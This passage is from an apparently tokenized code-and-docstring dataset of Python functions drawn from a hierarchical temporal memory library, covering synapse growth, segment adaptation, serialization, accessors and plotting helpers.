initialPermanence,<EOL>maxSynapsesPerSegment)<EOL><DEDENT><DEDENT><DEDENT>return cellsForColumn, winnerCell<EOL>", "docstring": ":param connections: (Object)\nConnections for the TM. Gets mutated.\n\n:param random: (Object)\nRandom number generator. Gets mutated.\n\n:param lastUsedIterationForSegment: (list)\nLast used iteration for each segment, indexed by the segment's flatIdx.\nGets mutated.\n\n:param column: (int)\nIndex of bursting column.\n\n:param columnMatchingSegments: (iter)\nMatching segments in this column.\n\n:param prevActiveCells: (list)\nActive cells in `t-1`.\n\n:param prevWinnerCells: (list)\nWinner cells in `t-1`.\n\n:param cellsForColumn: (sequence)\nRange of cell indices on which to operate.\n\n:param numActivePotentialSynapsesForSegment: (list)\nNumber of active potential synapses per segment, indexed by the segment's\nflatIdx.\n\n:param iteration: (int)\nThe current timestep.\n\n:param maxNewSynapseCount: (int)\nThe maximum number of synapses added to a segment during learning.\n\n:param initialPermanence: (float)\nInitial permanence of a new synapse.\n\n:param permanenceIncrement: (float)\nAmount by which permanences of synapses are incremented during learning.\n\n:param permanenceDecrement: (float)\nAmount by which permanences of synapses are decremented during learning.\n\n:param maxSegmentsPerCell: (int)\nThe maximum number of segments per cell.\n\n:param maxSynapsesPerSegment: (int)\nThe maximum number of synapses per segment.\n\n:param learn: (bool)\nWhether or not learning is enabled.\n\n:returns: (tuple) Contains:\n                  `cells`         (iter),\n                  `winnerCell`    (int),\n\nPseudocode:\nmark all cells as active\nif there are any matching distal dendrite segments\n  find the most active matching segment\n  mark its cell as a winner cell\n  (learning)\n    grow and reinforce synapses to previous winner cells\nelse\n  find the cell with the least segments, mark it as a winner cell\n  (learning)\n    (optimization) if there are prev winner cells\n      add a segment to this winner cell\n      grow synapses to previous winner cells", "id": "f17571:c0:m11"}
{"signature": "@classmethod<EOL><INDENT>def _punishPredictedColumn(cls, connections, columnMatchingSegments,<EOL>prevActiveCells, predictedSegmentDecrement):<DEDENT>", "body": "if predictedSegmentDecrement > <NUM_LIT:0.0> and columnMatchingSegments is not None:<EOL><INDENT>for segment in columnMatchingSegments:<EOL><INDENT>cls._adaptSegment(connections, segment, prevActiveCells,<EOL>-predictedSegmentDecrement, <NUM_LIT:0.0>)<EOL><DEDENT><DEDENT>", "docstring": ":param connections: (Object)\nConnections for the TM. Gets mutated.\n\n:param columnMatchingSegments: (iter)\nMatching segments for this column.\n\n:param prevActiveCells: (list)\nActive cells in `t-1`.\n\n:param predictedSegmentDecrement: (float)\nAmount by which segments are punished for incorrect predictions.\n\nPseudocode:\nfor each matching segment in the column\n  weaken active synapses", "id": "f17571:c0:m12"}
{"signature": "@classmethod<EOL><INDENT>def _createSegment(cls, connections, lastUsedIterationForSegment, cell,<EOL>iteration, maxSegmentsPerCell):<DEDENT>", "body": "<EOL>while connections.numSegments(cell) >= maxSegmentsPerCell:<EOL><INDENT>leastRecentlyUsedSegment = min(<EOL>connections.segmentsForCell(cell),<EOL>key=lambda segment : lastUsedIterationForSegment[segment.flatIdx])<EOL>connections.destroySegment(leastRecentlyUsedSegment)<EOL><DEDENT>segment = connections.createSegment(cell)<EOL>if segment.flatIdx == len(lastUsedIterationForSegment):<EOL><INDENT>lastUsedIterationForSegment.append(iteration)<EOL><DEDENT>elif segment.flatIdx < len(lastUsedIterationForSegment):<EOL><INDENT>lastUsedIterationForSegment[segment.flatIdx] = iteration<EOL><DEDENT>else:<EOL><INDENT>raise AssertionError(<EOL>\"<STR_LIT>\")<EOL><DEDENT>return segment<EOL>", "docstring": "Create a segment on the connections, enforcing the maxSegmentsPerCell\nparameter.", "id": "f17571:c0:m13"}
{"signature": "@classmethod<EOL><INDENT>def _destroyMinPermanenceSynapses(cls, connections, random, segment,<EOL>nDestroy, excludeCells):<DEDENT>", "body": "destroyCandidates = sorted(<EOL>(synapse for synapse in connections.synapsesForSegment(segment)<EOL>if synapse.presynapticCell not in excludeCells),<EOL>key=lambda s: s._ordinal<EOL>)<EOL>for _ in xrange(nDestroy):<EOL><INDENT>if len(destroyCandidates) == <NUM_LIT:0>:<EOL><INDENT>break<EOL><DEDENT>minSynapse = None<EOL>minPermanence = float(\"<STR_LIT>\")<EOL>for synapse in destroyCandidates:<EOL><INDENT>if synapse.permanence < minPermanence - EPSILON:<EOL><INDENT>minSynapse = synapse<EOL>minPermanence = synapse.permanence<EOL><DEDENT><DEDENT>connections.destroySynapse(minSynapse)<EOL>destroyCandidates.remove(minSynapse)<EOL><DEDENT>", "docstring": "Destroy nDestroy synapses on the specified segment, but don't destroy\nsynapses to the \"excludeCells\".", "id": "f17571:c0:m14"}
{"signature": "@classmethod<EOL><INDENT>def _leastUsedCell(cls, random, cells, connections):<DEDENT>", "body": "leastUsedCells = []<EOL>minNumSegments = float(\"<STR_LIT>\")<EOL>for cell in cells:<EOL><INDENT>numSegments = connections.numSegments(cell)<EOL>if numSegments < minNumSegments:<EOL><INDENT>minNumSegments = numSegments<EOL>leastUsedCells = []<EOL><DEDENT>if numSegments == minNumSegments:<EOL><INDENT>leastUsedCells.append(cell)<EOL><DEDENT><DEDENT>i = random.getUInt32(len(leastUsedCells))<EOL>return leastUsedCells[i]<EOL>", "docstring": "Gets the cell with the smallest number of segments.\nBreak ties randomly.\n\n:param random: (Object)\nRandom number generator. Gets mutated.\n\n:param cells: (list)\nIndices of cells.\n\n:param connections: (Object)\nConnections instance for the TM.\n\n:returns: (int) Cell index.", "id": "f17571:c0:m15"}
{"signature": "@classmethod<EOL><INDENT>def _growSynapses(cls, connections, random, segment, nDesiredNewSynapes,<EOL>prevWinnerCells, initialPermanence, maxSynapsesPerSegment):<DEDENT>", "body": "candidates = list(prevWinnerCells)<EOL>for synapse in connections.synapsesForSegment(segment):<EOL><INDENT>i = binSearch(candidates, synapse.presynapticCell)<EOL>if i != -<NUM_LIT:1>:<EOL><INDENT>del candidates[i]<EOL><DEDENT><DEDENT>nActual = min(nDesiredNewSynapes, len(candidates))<EOL>overrun = connections.numSynapses(segment) + nActual - maxSynapsesPerSegment<EOL>if overrun > <NUM_LIT:0>:<EOL><INDENT>cls._destroyMinPermanenceSynapses(connections, random, segment, overrun,<EOL>prevWinnerCells)<EOL><DEDENT>nActual = min(nActual,<EOL>maxSynapsesPerSegment - connections.numSynapses(segment))<EOL>for _ in range(nActual):<EOL><INDENT>i = random.getUInt32(len(candidates))<EOL>connections.createSynapse(segment, candidates[i], initialPermanence)<EOL>del candidates[i]<EOL><DEDENT>", "docstring": "Creates nDesiredNewSynapes synapses on the segment passed in if\npossible, choosing random cells from the previous winner cells that are\nnot already on the segment.\n\n:param connections:        (Object) Connections instance for the tm\n:param random:             (Object) TM object used to generate random\n                                    numbers\n:param segment:            (int)    Segment to grow synapses on.\n:param nDesiredNewSynapes: (int)    Desired number of synapses to grow\n:param prevWinnerCells:    (list)   Winner cells in `t-1`\n:param initialPermanence:  (float)  Initial permanence of a new synapse.", "id": "f17571:c0:m16"}
{"signature": "@classmethod<EOL><INDENT>def _adaptSegment(cls, connections, segment, prevActiveCells,<EOL>permanenceIncrement, permanenceDecrement):<DEDENT>", "body": "<EOL>synapsesToDestroy = []<EOL>for synapse in connections.synapsesForSegment(segment):<EOL><INDENT>permanence = synapse.permanence<EOL>if binSearch(prevActiveCells, synapse.presynapticCell) != -<NUM_LIT:1>:<EOL><INDENT>permanence += permanenceIncrement<EOL><DEDENT>else:<EOL><INDENT>permanence -= permanenceDecrement<EOL><DEDENT>permanence = max(<NUM_LIT:0.0>, min(<NUM_LIT:1.0>, permanence))<EOL>if permanence < EPSILON:<EOL><INDENT>synapsesToDestroy.append(synapse)<EOL><DEDENT>else:<EOL><INDENT>connections.updateSynapsePermanence(synapse, permanence)<EOL><DEDENT><DEDENT>for synapse in synapsesToDestroy:<EOL><INDENT>connections.destroySynapse(synapse)<EOL><DEDENT>if connections.numSynapses(segment) == <NUM_LIT:0>:<EOL><INDENT>connections.destroySegment(segment)<EOL><DEDENT>", "docstring": "Updates synapses on segment.\nStrengthens active synapses; weakens inactive synapses.\n\n:param connections:          (Object) Connections instance for the tm\n:param segment:              (int)    Segment to adapt\n:param prevActiveCells:      (list)   Active cells in `t-1`\n:param permanenceIncrement:  (float)  Amount to increment active synapses\n:param permanenceDecrement:  (float)  Amount to decrement inactive synapses", "id": "f17571:c0:m17"}
{"signature": "def columnForCell(self, cell):", "body": "self._validateCell(cell)<EOL>return int(cell / self.cellsPerColumn)<EOL>", "docstring": "Returns the index of the column that a cell belongs to.\n\n:param cell: (int) Cell index\n\n:returns: (int) Column index", "id": "f17571:c0:m18"}
{"signature": "def cellsForColumn(self, column):", "body": "self._validateColumn(column)<EOL>start = self.cellsPerColumn * column<EOL>end = start + self.cellsPerColumn<EOL>return range(start, end)<EOL>", "docstring": "Returns the indices of cells that belong to a column.\n\n:param column: (int) Column index\n\n:returns: (list) Cell indices", "id": "f17571:c0:m19"}
{"signature": "def numberOfColumns(self):", "body": "return reduce(mul, self.columnDimensions, <NUM_LIT:1>)<EOL>", "docstring": "Returns the number of columns in this layer.\n\n:returns: (int) Number of columns", "id": "f17571:c0:m20"}
{"signature": "def numberOfCells(self):", "body": "return self.numberOfColumns() * self.cellsPerColumn<EOL>", "docstring": "Returns the number of cells in this layer.\n\n:returns: (int) Number of cells", "id": "f17571:c0:m21"}
{"signature": "def mapCellsToColumns(self, cells):", "body": "cellsForColumns = defaultdict(set)<EOL>for cell in cells:<EOL><INDENT>column = self.columnForCell(cell)<EOL>cellsForColumns[column].add(cell)<EOL><DEDENT>return cellsForColumns<EOL>", "docstring": "Maps cells to the columns they belong to.\n\n:param cells: (set) Cells\n\n:returns: (dict) Mapping from columns to their cells in `cells`", "id": "f17571:c0:m22"}
{"signature": "def getActiveCells(self):", "body": "return self.getCellIndices(self.activeCells)<EOL>", "docstring": "Returns the indices of the active cells.\n\n:returns: (list) Indices of active cells.", "id": "f17571:c0:m23"}
{"signature": "def getPredictiveCells(self):", "body": "previousCell = None<EOL>predictiveCells = []<EOL>for segment in self.activeSegments:<EOL><INDENT>if segment.cell != previousCell:<EOL><INDENT>predictiveCells.append(segment.cell)<EOL>previousCell = segment.cell<EOL><DEDENT><DEDENT>return predictiveCells<EOL>", "docstring": "Returns the indices of the predictive cells.\n\n        :returns: (list) Indices of predictive cells.", "id": "f17571:c0:m24"}
{"signature": "def getWinnerCells(self):", "body": "return self.getCellIndices(self.winnerCells)<EOL>", "docstring": "Returns the indices of the winner cells.\n\n:returns: (list) Indices of winner cells.", "id": "f17571:c0:m25"}
{"signature": "def getActiveSegments(self):", "body": "return self.activeSegments<EOL>", "docstring": "Returns the active segments.\n\n:returns: (list) Active segments", "id": "f17571:c0:m26"}
{"signature": "def getMatchingSegments(self):", "body": "return self.matchingSegments<EOL>", "docstring": "Returns the matching segments.\n\n:returns: (list) Matching segments", "id": "f17571:c0:m27"}
{"signature": "def getCellsPerColumn(self):", "body": "return self.cellsPerColumn<EOL>", "docstring": "Returns the number of cells per column.\n\n:returns: (int) The number of cells per column.", "id": "f17571:c0:m28"}
{"signature": "def getColumnDimensions(self):", "body": "return self.columnDimensions<EOL>", "docstring": "Returns the dimensions of the columns in the region.\n\n:returns: (tuple) Column dimensions", "id": "f17571:c0:m29"}
{"signature": "def getActivationThreshold(self):", "body": "return self.activationThreshold<EOL>", "docstring": "Returns the activation threshold.\n\n:returns: (int) The activation threshold.", "id": "f17571:c0:m30"}
{"signature": "def setActivationThreshold(self, activationThreshold):", "body": "self.activationThreshold = activationThreshold<EOL>", "docstring": "Sets the activation threshold.\n\n:param activationThreshold: (int) activation threshold.", "id": "f17571:c0:m31"}
{"signature": "def getInitialPermanence(self):", "body": "return self.initialPermanence<EOL>", "docstring": "Get the initial permanence.\n\n:returns: (float) The initial permanence.", "id": "f17571:c0:m32"}
{"signature": "def setInitialPermanence(self, initialPermanence):", "body": "self.initialPermanence = initialPermanence<EOL>", "docstring": "Sets the initial permanence.\n\n:param initialPermanence: (float) The initial permanence.", "id": "f17571:c0:m33"}
{"signature": "def getMinThreshold(self):", "body": "return self.minThreshold<EOL>", "docstring": "Returns the min threshold.\n\n:returns: (int) The min threshold.", "id": "f17571:c0:m34"}
{"signature": "def setMinThreshold(self, minThreshold):", "body": "self.minThreshold = minThreshold<EOL>", "docstring": "Sets the min threshold.\n\n:param minThreshold: (int) min threshold.", "id": "f17571:c0:m35"}
{"signature": "def getMaxNewSynapseCount(self):", "body": "return self.maxNewSynapseCount<EOL>", "docstring": "Returns the max new synapse count.\n\n:returns: (int) The max new synapse count.", "id": "f17571:c0:m36"}
{"signature": "def setMaxNewSynapseCount(self, maxNewSynapseCount):", "body": "self.maxNewSynapseCount = maxNewSynapseCount<EOL>", "docstring": "Sets the max new synapse count.\n\n:param maxNewSynapseCount: (int) Max new synapse count.", "id": "f17571:c0:m37"}
{"signature": "def getPermanenceIncrement(self):", "body": "return self.permanenceIncrement<EOL>", "docstring": "Get the permanence increment.\n\n:returns: (float) The permanence increment.", "id": "f17571:c0:m38"}
{"signature": "def setPermanenceIncrement(self, permanenceIncrement):", "body": "self.permanenceIncrement = permanenceIncrement<EOL>", "docstring": "Sets the permanence increment.\n\n:param permanenceIncrement: (float) The permanence increment.", "id": "f17571:c0:m39"}
{"signature": "def getPermanenceDecrement(self):", "body": "return self.permanenceDecrement<EOL>", "docstring": "Get the permanence decrement.\n\n:returns: (float) The permanence decrement.", "id": "f17571:c0:m40"}
{"signature": "def setPermanenceDecrement(self, permanenceDecrement):", "body": "self.permanenceDecrement = permanenceDecrement<EOL>", "docstring": "Sets the permanence decrement.\n\n:param permanenceDecrement: (float) The permanence decrement.", "id": "f17571:c0:m41"}
{"signature": "def getPredictedSegmentDecrement(self):", "body": "return self.predictedSegmentDecrement<EOL>", "docstring": "Get the predicted segment decrement.\n\n:returns: (float) The predicted segment decrement.", "id": "f17571:c0:m42"}
{"signature": "def setPredictedSegmentDecrement(self, predictedSegmentDecrement):", "body": "self.predictedSegmentDecrement = predictedSegmentDecrement<EOL>", "docstring": "Sets the predicted segment decrement.\n\n:param predictedSegmentDecrement: (float) The predicted segment decrement.", "id": "f17571:c0:m43"}
{"signature": "def getConnectedPermanence(self):", "body": "return self.connectedPermanence<EOL>", "docstring": "Get the connected permanence.\n\n:returns: (float) The connected permanence.", "id": "f17571:c0:m44"}
{"signature": "def setConnectedPermanence(self, connectedPermanence):", "body": "self.connectedPermanence = connectedPermanence<EOL>", "docstring": "Sets the connected permanence.\n\n:param connectedPermanence: (float) The connected permanence.", "id": "f17571:c0:m45"}
{"signature": "def getMaxSegmentsPerCell(self):", "body": "return self.maxSegmentsPerCell<EOL>", "docstring": "Get the maximum number of segments per cell\n\n:returns: (int) max number of segments per cell", "id": "f17571:c0:m46"}
{"signature": "def getMaxSynapsesPerSegment(self):", "body": "return self.maxSynapsesPerSegment<EOL>", "docstring": "Get the maximum number of synapses per segment.\n\n:returns: (int) max number of synapses per segment", "id": "f17571:c0:m47"}
{"signature": "def write(self, proto):", "body": "<EOL>proto.columnDimensions = list(self.columnDimensions)<EOL>proto.cellsPerColumn = self.cellsPerColumn<EOL>proto.activationThreshold = self.activationThreshold<EOL>proto.initialPermanence = round(self.initialPermanence, EPSILON_ROUND)<EOL>proto.connectedPermanence = round(self.connectedPermanence, EPSILON_ROUND)<EOL>proto.minThreshold = self.minThreshold<EOL>proto.maxNewSynapseCount = self.maxNewSynapseCount<EOL>proto.permanenceIncrement = round(self.permanenceIncrement, EPSILON_ROUND)<EOL>proto.permanenceDecrement = round(self.permanenceDecrement, EPSILON_ROUND)<EOL>proto.predictedSegmentDecrement = self.predictedSegmentDecrement<EOL>proto.maxSegmentsPerCell = self.maxSegmentsPerCell<EOL>proto.maxSynapsesPerSegment = self.maxSynapsesPerSegment<EOL>self.connections.write(proto.connections)<EOL>self._random.write(proto.random)<EOL>proto.activeCells = list(self.activeCells)<EOL>proto.winnerCells = list(self.winnerCells)<EOL>protoActiveSegments = proto.init(\"<STR_LIT>\", len(self.activeSegments))<EOL>for i, segment in enumerate(self.activeSegments):<EOL><INDENT>protoActiveSegments[i].cell = segment.cell<EOL>idx = self.connections.segmentsForCell(segment.cell).index(segment)<EOL>protoActiveSegments[i].idxOnCell = idx<EOL><DEDENT>protoMatchingSegments = proto.init(\"<STR_LIT>\",<EOL>len(self.matchingSegments))<EOL>for i, segment in enumerate(self.matchingSegments):<EOL><INDENT>protoMatchingSegments[i].cell = segment.cell<EOL>idx = self.connections.segmentsForCell(segment.cell).index(segment)<EOL>protoMatchingSegments[i].idxOnCell = idx<EOL><DEDENT>protoNumActivePotential = proto.init(<EOL>\"<STR_LIT>\",<EOL>len(self.numActivePotentialSynapsesForSegment))<EOL>for i, numActivePotentialSynapses in enumerate(<EOL>self.numActivePotentialSynapsesForSegment):<EOL><INDENT>segment = self.connections.segmentForFlatIdx(i)<EOL>if segment is not None:<EOL><INDENT>protoNumActivePotential[i].cell = segment.cell<EOL>idx = self.connections.segmentsForCell(segment.cell).index(segment)<EOL>protoNumActivePotential[i].idxOnCell = idx<EOL>protoNumActivePotential[i].number = numActivePotentialSynapses<EOL><DEDENT><DEDENT>proto.iteration = self.iteration<EOL>protoLastUsedIteration = proto.init(<EOL>\"<STR_LIT>\",<EOL>len(self.numActivePotentialSynapsesForSegment))<EOL>for i, lastUsed in enumerate(self.lastUsedIterationForSegment):<EOL><INDENT>segment = self.connections.segmentForFlatIdx(i)<EOL>if segment is not None:<EOL><INDENT>protoLastUsedIteration[i].cell = segment.cell<EOL>idx = self.connections.segmentsForCell(segment.cell).index(segment)<EOL>protoLastUsedIteration[i].idxOnCell = idx<EOL>protoLastUsedIteration[i].number = lastUsed<EOL><DEDENT><DEDENT>", "docstring": "Writes serialized data to proto object.\n\n:param proto: (DynamicStructBuilder) Proto object", "id": "f17571:c0:m48"}
{"signature": "@classmethod<EOL><INDENT>def read(cls, proto):<DEDENT>", "body": "tm = object.__new__(cls)<EOL>tm.columnDimensions = tuple(proto.columnDimensions)<EOL>tm.cellsPerColumn = int(proto.cellsPerColumn)<EOL>tm.activationThreshold = int(proto.activationThreshold)<EOL>tm.initialPermanence = round(proto.initialPermanence, EPSILON_ROUND)<EOL>tm.connectedPermanence = round(proto.connectedPermanence, EPSILON_ROUND)<EOL>tm.minThreshold = int(proto.minThreshold)<EOL>tm.maxNewSynapseCount = int(proto.maxNewSynapseCount)<EOL>tm.permanenceIncrement = round(proto.permanenceIncrement, EPSILON_ROUND)<EOL>tm.permanenceDecrement = round(proto.permanenceDecrement, EPSILON_ROUND)<EOL>tm.predictedSegmentDecrement = round(proto.predictedSegmentDecrement,<EOL>EPSILON_ROUND)<EOL>tm.maxSegmentsPerCell = int(proto.maxSegmentsPerCell)<EOL>tm.maxSynapsesPerSegment = int(proto.maxSynapsesPerSegment)<EOL>tm.connections = Connections.read(proto.connections)<EOL>tm._random = Random()<EOL>tm._random.read(proto.random)<EOL>tm.activeCells = [int(x) for x in proto.activeCells]<EOL>tm.winnerCells = [int(x) for x in proto.winnerCells]<EOL>flatListLength = tm.connections.segmentFlatListLength()<EOL>tm.numActiveConnectedSynapsesForSegment = [<NUM_LIT:0>] * flatListLength<EOL>tm.numActivePotentialSynapsesForSegment = [<NUM_LIT:0>] * flatListLength<EOL>tm.lastUsedIterationForSegment = [<NUM_LIT:0>] * flatListLength<EOL>tm.activeSegments = []<EOL>tm.matchingSegments = []<EOL>for protoSegment in proto.activeSegments:<EOL><INDENT>tm.activeSegments.append(<EOL>tm.connections.getSegment(protoSegment.cell,<EOL>protoSegment.idxOnCell))<EOL><DEDENT>for protoSegment in proto.matchingSegments:<EOL><INDENT>tm.matchingSegments.append(<EOL>tm.connections.getSegment(protoSegment.cell,<EOL>protoSegment.idxOnCell))<EOL><DEDENT>for protoSegment in proto.numActivePotentialSynapsesForSegment:<EOL><INDENT>segment = tm.connections.getSegment(protoSegment.cell,<EOL>protoSegment.idxOnCell)<EOL>tm.numActivePotentialSynapsesForSegment[segment.flatIdx] = (<EOL>int(protoSegment.number))<EOL><DEDENT>tm.iteration = long(proto.iteration)<EOL>for protoSegment in proto.lastUsedIterationForSegment:<EOL><INDENT>segment = tm.connections.getSegment(protoSegment.cell,<EOL>protoSegment.idxOnCell)<EOL>tm.lastUsedIterationForSegment[segment.flatIdx] = (<EOL>long(protoSegment.number))<EOL><DEDENT>return tm<EOL>", "docstring": "Reads deserialized data from proto object.\n\n:param proto: (DynamicStructBuilder) Proto object\n\n:returns: (:class:TemporalMemory) TemporalMemory instance", "id": "f17571:c0:m50"}
{"signature": "def __eq__(self, other):", "body": "if self.columnDimensions != other.columnDimensions:<EOL><INDENT>return False<EOL><DEDENT>if self.cellsPerColumn != other.cellsPerColumn:<EOL><INDENT>return False<EOL><DEDENT>if self.activationThreshold != other.activationThreshold:<EOL><INDENT>return False<EOL><DEDENT>if abs(self.initialPermanence - other.initialPermanence) > EPSILON:<EOL><INDENT>return False<EOL><DEDENT>if abs(self.connectedPermanence - other.connectedPermanence) > EPSILON:<EOL><INDENT>return False<EOL><DEDENT>if self.minThreshold != other.minThreshold:<EOL><INDENT>return False<EOL><DEDENT>if self.maxNewSynapseCount != other.maxNewSynapseCount:<EOL><INDENT>return False<EOL><DEDENT>if abs(self.permanenceIncrement - other.permanenceIncrement) > EPSILON:<EOL><INDENT>return False<EOL><DEDENT>if abs(self.permanenceDecrement - other.permanenceDecrement) > EPSILON:<EOL><INDENT>return False<EOL><DEDENT>if abs(self.predictedSegmentDecrement -<EOL>other.predictedSegmentDecrement) > EPSILON:<EOL><INDENT>return False<EOL><DEDENT>if self.connections != other.connections:<EOL><INDENT>return False<EOL><DEDENT>if self.activeCells != other.activeCells:<EOL><INDENT>return False<EOL><DEDENT>if self.winnerCells != other.winnerCells:<EOL><INDENT>return False<EOL><DEDENT>if self.matchingSegments != other.matchingSegments:<EOL><INDENT>return False<EOL><DEDENT>if self.activeSegments != other.activeSegments:<EOL><INDENT>return False<EOL><DEDENT>return True<EOL>", "docstring": "Non-equality operator for TemporalMemory instances.\nChecks if two instances are functionally identical\n(might have different internal state).\n\n:param other: (TemporalMemory) TemporalMemory instance to compare to", "id": "f17571:c0:m51"}
{"signature": "def __ne__(self, other):", "body": "return not self.__eq__(other)<EOL>", "docstring": "Non-equality operator for TemporalMemory instances.\nChecks if two instances are not functionally identical\n(might have different internal state).\n\n:param other: (TemporalMemory) TemporalMemory instance to compare to", "id": "f17571:c0:m52"}
{"signature": "def _validateColumn(self, column):", "body": "if column >= self.numberOfColumns() or column < <NUM_LIT:0>:<EOL><INDENT>raise IndexError(\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Raises an error if column index is invalid.\n\n:param column: (int) Column index", "id": "f17571:c0:m53"}
{"signature": "def _validateCell(self, cell):", "body": "if cell >= self.numberOfCells() or cell < <NUM_LIT:0>:<EOL><INDENT>raise IndexError(\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Raises an error if cell index is invalid.\n\n:param cell: (int) Cell index", "id": "f17571:c0:m54"}
{"signature": "@classmethod<EOL><INDENT>def getCellIndices(cls, cells):<DEDENT>", "body": "return [cls.getCellIndex(c) for c in cells]<EOL>", "docstring": "Returns the indices of the cells passed in.\n\n:param cells: (list) cells to find the indices of", "id": "f17571:c0:m55"}
{"signature": "@staticmethod<EOL><INDENT>def getCellIndex(cell):<DEDENT>", "body": "return cell<EOL>", "docstring": "Returns the index of the cell.\n\n:param cell: (int) cell to find the index of", "id": "f17571:c0:m56"}
{"signature": "def __init__(self, *args, **kwargs):", "body": "self.mmName = kwargs.get(\"<STR_LIT>\")<EOL>if \"<STR_LIT>\" in kwargs:<EOL><INDENT>del kwargs[\"<STR_LIT>\"]<EOL><DEDENT>super(MonitorMixinBase, self).__init__(*args, **kwargs)<EOL>self._mmTraces = None<EOL>self._mmData = None<EOL>self.mmClearHistory()<EOL>", "docstring": "Note: If you set the kwarg \"mmName\", then pretty-printing of traces and\n      metrics will include the name you specify as a tag before every title.", "id": "f17572:c0:m0"}
{"signature": "def mmClearHistory(self):", "body": "self._mmTraces = {}<EOL>self._mmData = {}<EOL>", "docstring": "Clears the stored history.", "id": "f17572:c0:m1"}
{"signature": "@staticmethod<EOL><INDENT>def mmPrettyPrintTraces(traces, breakOnResets=None):<DEDENT>", "body": "assert len(traces) > <NUM_LIT:0>, \"<STR_LIT>\"<EOL>table = PrettyTable([\"<STR_LIT:#>\"] + [trace.prettyPrintTitle() for trace in traces])<EOL>for i in xrange(len(traces[<NUM_LIT:0>].data)):<EOL><INDENT>if breakOnResets and breakOnResets.data[i]:<EOL><INDENT>table.add_row([\"<STR_LIT>\"] * (len(traces) + <NUM_LIT:1>))<EOL><DEDENT>table.add_row([i] +<EOL>[trace.prettyPrintDatum(trace.data[i]) for trace in traces])<EOL><DEDENT>return table.get_string().encode(\"<STR_LIT:utf-8>\")<EOL>", "docstring": "Returns pretty-printed table of traces.\n\n@param traces (list) Traces to print in table\n@param breakOnResets (BoolsTrace) Trace of resets to break table on\n\n@return (string) Pretty-printed table of traces.", "id": "f17572:c0:m2"}
{"signature": "@staticmethod<EOL><INDENT>def mmPrettyPrintMetrics(metrics, sigFigs=<NUM_LIT:5>):<DEDENT>", "body": "assert len(metrics) > <NUM_LIT:0>, \"<STR_LIT>\"<EOL>table = PrettyTable([\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\",<EOL>\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", ])<EOL>for metric in metrics:<EOL><INDENT>table.add_row([metric.prettyPrintTitle()] + metric.getStats())<EOL><DEDENT>return table.get_string().encode(\"<STR_LIT:utf-8>\")<EOL>", "docstring": "Returns pretty-printed table of metrics.\n\n@param metrics (list) Traces to print in table\n@param sigFigs (int)  Number of significant figures to print\n\n@return (string) Pretty-printed table of metrics.", "id": "f17572:c0:m3"}
{"signature": "def mmGetDefaultTraces(self, verbosity=<NUM_LIT:1>):", "body": "return []<EOL>", "docstring": "Returns list of default traces. (To be overridden.)\n\n@param verbosity (int) Verbosity level\n\n@return (list) Default traces", "id": "f17572:c0:m4"}
{"signature": "def mmGetDefaultMetrics(self, verbosity=<NUM_LIT:1>):", "body": "return []<EOL>", "docstring": "Returns list of default metrics. (To be overridden.)\n\n@param verbosity (int) Verbosity level\n\n@return (list) Default metrics", "id": "f17572:c0:m5"}
{"signature": "def mmGetCellTracePlot(self, cellTrace, cellCount, activityType, title=\"<STR_LIT>\",<EOL>showReset=False, resetShading=<NUM_LIT>):", "body": "plot = Plot(self, title)<EOL>resetTrace = self.mmGetTraceResets().data<EOL>data = numpy.zeros((cellCount, <NUM_LIT:1>))<EOL>for i in xrange(len(cellTrace)):<EOL><INDENT>if showReset and resetTrace[i]:<EOL><INDENT>activity = numpy.ones((cellCount, <NUM_LIT:1>)) * resetShading<EOL><DEDENT>else:<EOL><INDENT>activity = numpy.zeros((cellCount, <NUM_LIT:1>))<EOL><DEDENT>activeIndices = cellTrace[i]<EOL>activity[list(activeIndices)] = <NUM_LIT:1><EOL>data = numpy.concatenate((data, activity), <NUM_LIT:1>)<EOL><DEDENT>plot.add2DArray(data, xlabel=\"<STR_LIT>\", ylabel=activityType, name=title)<EOL>return plot<EOL>", "docstring": "Returns plot of the cell activity. Note that if many timesteps of\nactivities are input, matplotlib's image interpolation may omit activities\n(columns in the image).\n\n@param cellTrace    (list)   a temporally ordered list of sets of cell\n                             activities\n\n@param cellCount    (int)    number of cells in the space being rendered\n\n@param activityType (string) type of cell activity being displayed\n\n@param title        (string) an optional title for the figure\n\n@param showReset    (bool)   if true, the first set of cell activities\n                             after a reset will have a grayscale background\n\n@param resetShading (float)  applicable if showReset is true, specifies the\n                             intensity of the reset background with 0.0\n                             being white and 1.0 being black\n\n@return (Plot) plot", "id": "f17572:c0:m6"}
{"signature": "def __init__(self, monitor, title, show=True):", "body": "self._monitor = monitor<EOL>self._title = title<EOL>self._fig = self._initFigure()<EOL>self._show = show<EOL>if self._show:<EOL><INDENT>plt.ion()<EOL>plt.show()<EOL><DEDENT>", "docstring": "@param monitor (MonitorMixinBase) Monitor Mixin instance that generated\n                                  this plot\n\n@param title  (string)            Plot title", "id": "f17573:c0:m0"}
{"signature": "def addGraph(self, data, position=<NUM_LIT>, xlabel=None, ylabel=None):", "body": "ax = self._addBase(position, xlabel=xlabel, ylabel=ylabel)<EOL>ax.plot(data)<EOL>plt.draw()<EOL>", "docstring": "Adds a graph to the plot's figure.\n\n        @param data See matplotlib.Axes.plot documentation.\n        @param position A 3-digit number. The first two digits define a 2D grid\n                where subplots may be added. The final digit specifies the nth grid\n                location for the added subplot\n        @param xlabel text to be displayed on the x-axis\n        @param ylabel text to be displayed on the y-axis", "id": "f17573:c0:m3"}
{"signature": "def addHistogram(self, data, position=<NUM_LIT>, xlabel=None, ylabel=None,<EOL>bins=None):", "body": "ax = self._addBase(position, xlabel=xlabel, ylabel=ylabel)<EOL>ax.hist(data, bins=bins, color=\"<STR_LIT>\", alpha=<NUM_LIT>)<EOL>plt.draw()<EOL>", "docstring": "Adds a histogram to the plot's figure.\n\n        @param data See matplotlib.Axes.hist documentation.\n        @param position A 3-digit number. The first two digits define a 2D grid\n                where subplots may be added. The final digit specifies the nth grid\n                location for the added subplot\n        @param xlabel text to be displayed on the x-axis\n        @param ylabel text to be displayed on the y-axis", "id": "f17573:c0:m4"}
